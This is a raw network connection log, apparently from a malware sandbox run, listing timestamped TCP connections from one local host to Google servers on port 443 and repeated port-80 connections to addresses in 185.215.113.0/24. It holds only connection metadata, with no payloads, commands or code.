Sep 29, 2024 01:02:41.995147943 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.995187044 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.001566887 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.001627922 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.007967949 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.008003950 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.008054018 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.008064032 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.008115053 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.048019886 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.071438074 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.071496010 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.071547031 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.071557999 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.071608067 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.074614048 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.074707031 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.081063032 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.081147909 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.087878942 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.087915897 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.087958097 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.087974072 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.088038921 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.099342108 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.099416971 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.099427938 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.107918024 CEST	49775	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:42.107948065 CEST	443	49775	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:42.108016014 CEST	49775	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:42.108184099 CEST	49775	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:42.108196974 CEST	443	49775	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:42.108679056 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.108743906 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.108757973 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.116496086 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.116624117 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.116691113 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.116817951 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.116832972 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.161403894 CEST	49776	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:42.161463976 CEST	443	49776	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:42.161582947 CEST	49776	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:42.161761045 CEST	49776	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:42.161778927 CEST	443	49776	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:42.210947990 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.211000919 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.211086988 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.211111069 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.211155891 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.211203098 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.211246967 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.211463928 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.211514950 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.212073088 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.212106943 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.212130070 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.212133884 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.212238073 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.217324018 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.217360973 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.217386961 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.217401028 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.217406988 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.217437983 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.250824928 CEST	443	49741	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:42.250893116 CEST	443	49741	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:42.251034975 CEST	49741	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:42.299771070 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.299824953 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.299896955 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.299911976 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.299959898 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.303071022 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.303142071 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.309473991 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.309513092 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.309539080 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.309554100 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.309591055 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.316097975 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.316171885 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.322632074 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.322729111 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.322735071 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.329158068 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.330238104 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.330245018 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.335779905 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.335920095 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.336025953 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.336138964 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:42.336158037 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:42.571607113 CEST	49767	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:42.572062016 CEST	49778	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:42.578074932 CEST	80	49767	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:42.578159094 CEST	49767	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:42.578268051 CEST	80	49778	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:42.578353882 CEST	49778	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:42.579457045 CEST	49778	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:42.585484028 CEST	80	49778	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:42.790851116 CEST	443	49775	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:42.794449091 CEST	49775	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:42.794466972 CEST	443	49775	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:42.794938087 CEST	443	49775	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:42.795042992 CEST	49775	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:42.795677900 CEST	443	49775	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:42.795766115 CEST	49775	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:42.797123909 CEST	49775	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:42.797190905 CEST	443	49775	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:42.797305107 CEST	49775	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:42.829947948 CEST	443	49776	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:42.830249071 CEST	49776	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:42.830274105 CEST	443	49776	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:42.830662966 CEST	443	49776	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:42.830724955 CEST	49776	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:42.831413031 CEST	443	49776	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:42.831458092 CEST	49776	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:42.831592083 CEST	49776	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:42.831657887 CEST	443	49776	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:42.831789970 CEST	49776	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:42.831798077 CEST	443	49776	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:42.839442015 CEST	443	49775	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:42.945774078 CEST	49776	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:42.945775032 CEST	49775	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:42.945797920 CEST	443	49775	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.105079889 CEST	443	49775	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.105194092 CEST	49775	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.107454062 CEST	49775	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.107479095 CEST	443	49775	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.108166933 CEST	49741	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:43.108200073 CEST	443	49741	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:43.108470917 CEST	49779	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.108496904 CEST	443	49779	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.108565092 CEST	49779	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.108921051 CEST	49779	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.108932018 CEST	443	49779	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.145488024 CEST	443	49776	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.146004915 CEST	443	49776	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.146064997 CEST	49776	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.230276108 CEST	49776	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.230295897 CEST	443	49776	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.231448889 CEST	49782	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.231458902 CEST	443	49782	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.231518030 CEST	49782	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.231873035 CEST	49782	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.231887102 CEST	443	49782	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.286098003 CEST	80	49778	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:43.286191940 CEST	49778	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:43.532643080 CEST	49784	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.532684088 CEST	443	49784	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.532776117 CEST	49784	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.532959938 CEST	49784	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.532977104 CEST	443	49784	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.755544901 CEST	443	49779	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.755800962 CEST	49779	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.755829096 CEST	443	49779	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.756203890 CEST	443	49779	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.756266117 CEST	49779	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.756949902 CEST	443	49779	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.757003069 CEST	49779	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.757153988 CEST	49779	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.757214069 CEST	443	49779	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.757509947 CEST	49779	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.757517099 CEST	443	49779	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.757539034 CEST	49779	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.803396940 CEST	443	49779	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.890914917 CEST	443	49782	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.891144037 CEST	49782	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.891156912 CEST	443	49782	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.891537905 CEST	443	49782	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.891678095 CEST	49782	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.892272949 CEST	443	49782	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.892353058 CEST	49782	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.892481089 CEST	49782	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.892544985 CEST	443	49782	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.892658949 CEST	49782	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.892658949 CEST	49782	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.892669916 CEST	443	49782	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.914930105 CEST	49785	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.914973974 CEST	443	49785	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.915060997 CEST	49785	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.915400982 CEST	49785	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.915411949 CEST	443	49785	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.939421892 CEST	443	49782	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.955040932 CEST	49779	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.979546070 CEST	443	49779	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.980618000 CEST	443	49779	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:43.980685949 CEST	49779	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.981307030 CEST	49779	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:43.981328964 CEST	443	49779	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.103408098 CEST	443	49782	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.103508949 CEST	49782	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:44.116719007 CEST	443	49782	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.116877079 CEST	49782	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:44.116895914 CEST	443	49782	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.117750883 CEST	443	49782	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.117875099 CEST	49782	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:44.118086100 CEST	49782	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:44.118107080 CEST	443	49782	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.138394117 CEST	49787	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:44.138401985 CEST	443	49787	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:44.138447046 CEST	49787	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:44.138796091 CEST	49787	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:44.138804913 CEST	443	49787	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:44.180798054 CEST	443	49784	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.181193113 CEST	49784	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:44.181224108 CEST	443	49784	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.181595087 CEST	443	49784	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.181998014 CEST	49784	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:44.182321072 CEST	443	49784	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.182419062 CEST	49784	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:44.182877064 CEST	49784	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:44.182940006 CEST	443	49784	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.183423996 CEST	49784	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:44.183442116 CEST	443	49784	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.183460951 CEST	49784	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:44.231406927 CEST	443	49784	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.315047026 CEST	49784	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:44.406074047 CEST	443	49784	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.406663895 CEST	443	49784	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.406841993 CEST	49784	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:44.407552004 CEST	49784	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:44.407574892 CEST	443	49784	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.592607975 CEST	443	49785	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.592895031 CEST	49785	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:44.592914104 CEST	443	49785	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.593693018 CEST	443	49785	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.594021082 CEST	49785	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:44.594084978 CEST	443	49785	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.594212055 CEST	49785	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:44.594212055 CEST	49785	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:44.594238997 CEST	443	49785	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.790537119 CEST	443	49787	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:44.791187048 CEST	49787	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:44.791210890 CEST	443	49787	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:44.791565895 CEST	443	49787	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:44.792763948 CEST	49787	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:44.792845011 CEST	443	49787	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:44.793333054 CEST	49787	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:44.820378065 CEST	443	49785	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.821224928 CEST	443	49785	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.821357012 CEST	49785	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:44.822299957 CEST	49785	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:44.822324038 CEST	443	49785	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:44.835403919 CEST	443	49787	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:44.862801075 CEST	49778	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:44.863095045 CEST	49789	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:44.868067980 CEST	80	49789	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:44.868268967 CEST	49789	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:44.868432999 CEST	49789	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:44.873238087 CEST	80	49789	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:44.874001980 CEST	80	49778	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:44.874105930 CEST	49778	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:45.063798904 CEST	443	49787	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:45.063862085 CEST	443	49787	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:45.063903093 CEST	443	49787	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:45.063909054 CEST	49787	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:45.063925982 CEST	443	49787	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:45.063961029 CEST	443	49787	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:45.063961983 CEST	49787	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:45.063972950 CEST	443	49787	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:45.064021111 CEST	49787	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:45.064089060 CEST	443	49787	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:45.064157009 CEST	443	49787	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:45.064203024 CEST	49787	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:45.066765070 CEST	49787	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:45.066792011 CEST	443	49787	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:45.066802979 CEST	49787	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:45.066900015 CEST	49787	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:45.099643946 CEST	49760	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:45.562513113 CEST	80	49789	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:45.562638998 CEST	49789	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:47.273220062 CEST	49789	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:47.273514986 CEST	49793	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:47.278318882 CEST	80	49793	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:47.278383970 CEST	49793	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:47.278426886 CEST	80	49789	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:47.278471947 CEST	49789	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:47.278825998 CEST	49793	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:47.283543110 CEST	80	49793	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:47.804323912 CEST	49795	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:47.809206963 CEST	80	49795	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:47.809309959 CEST	49795	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:47.809523106 CEST	49795	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:47.815515041 CEST	80	49795	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:48.022161961 CEST	80	49793	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:48.022250891 CEST	49793	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:48.518663883 CEST	80	49795	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:48.522618055 CEST	49795	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:48.527079105 CEST	49795	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:48.531873941 CEST	80	49795	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:48.757180929 CEST	80	49795	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:48.757301092 CEST	49795	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:49.544363976 CEST	49793	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:49.544827938 CEST	49797	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:49.549360991 CEST	80	49793	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:49.549459934 CEST	49793	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:49.549602032 CEST	80	49797	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:49.549690008 CEST	49797	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:49.549953938 CEST	49797	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:49.554671049 CEST	80	49797	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:49.771234989 CEST	49798	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:49.771294117 CEST	443	49798	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:49.771367073 CEST	49798	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:49.771678925 CEST	49798	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:49.771692991 CEST	443	49798	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:50.082798958 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:50.082853079 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:50.082964897 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:50.083152056 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:50.083168983 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:50.283088923 CEST	80	49797	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:50.283405066 CEST	49797	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:50.427706003 CEST	443	49798	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:50.429403067 CEST	49798	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:50.429447889 CEST	443	49798	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:50.429821968 CEST	443	49798	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:50.430524111 CEST	49798	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:50.430593014 CEST	443	49798	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:50.430672884 CEST	49798	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:50.430730104 CEST	49798	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:50.430737019 CEST	443	49798	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:50.758428097 CEST	443	49798	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:50.759360075 CEST	443	49798	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:50.759470940 CEST	49798	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:50.843679905 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:50.878550053 CEST	49799	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:50.878566980 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:50.879060984 CEST	443	49799	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:50.883311987 CEST	49798	443	192.168.2.8	142.250.185.174
Sep 29, 2024 01:02:50.883352995 CEST	443	49798	142.250.185.174	192.168.2.8
Sep 29, 2024 01:02:50.884203911 CEST	49799	443	192.168.2.8	142.250.185.129
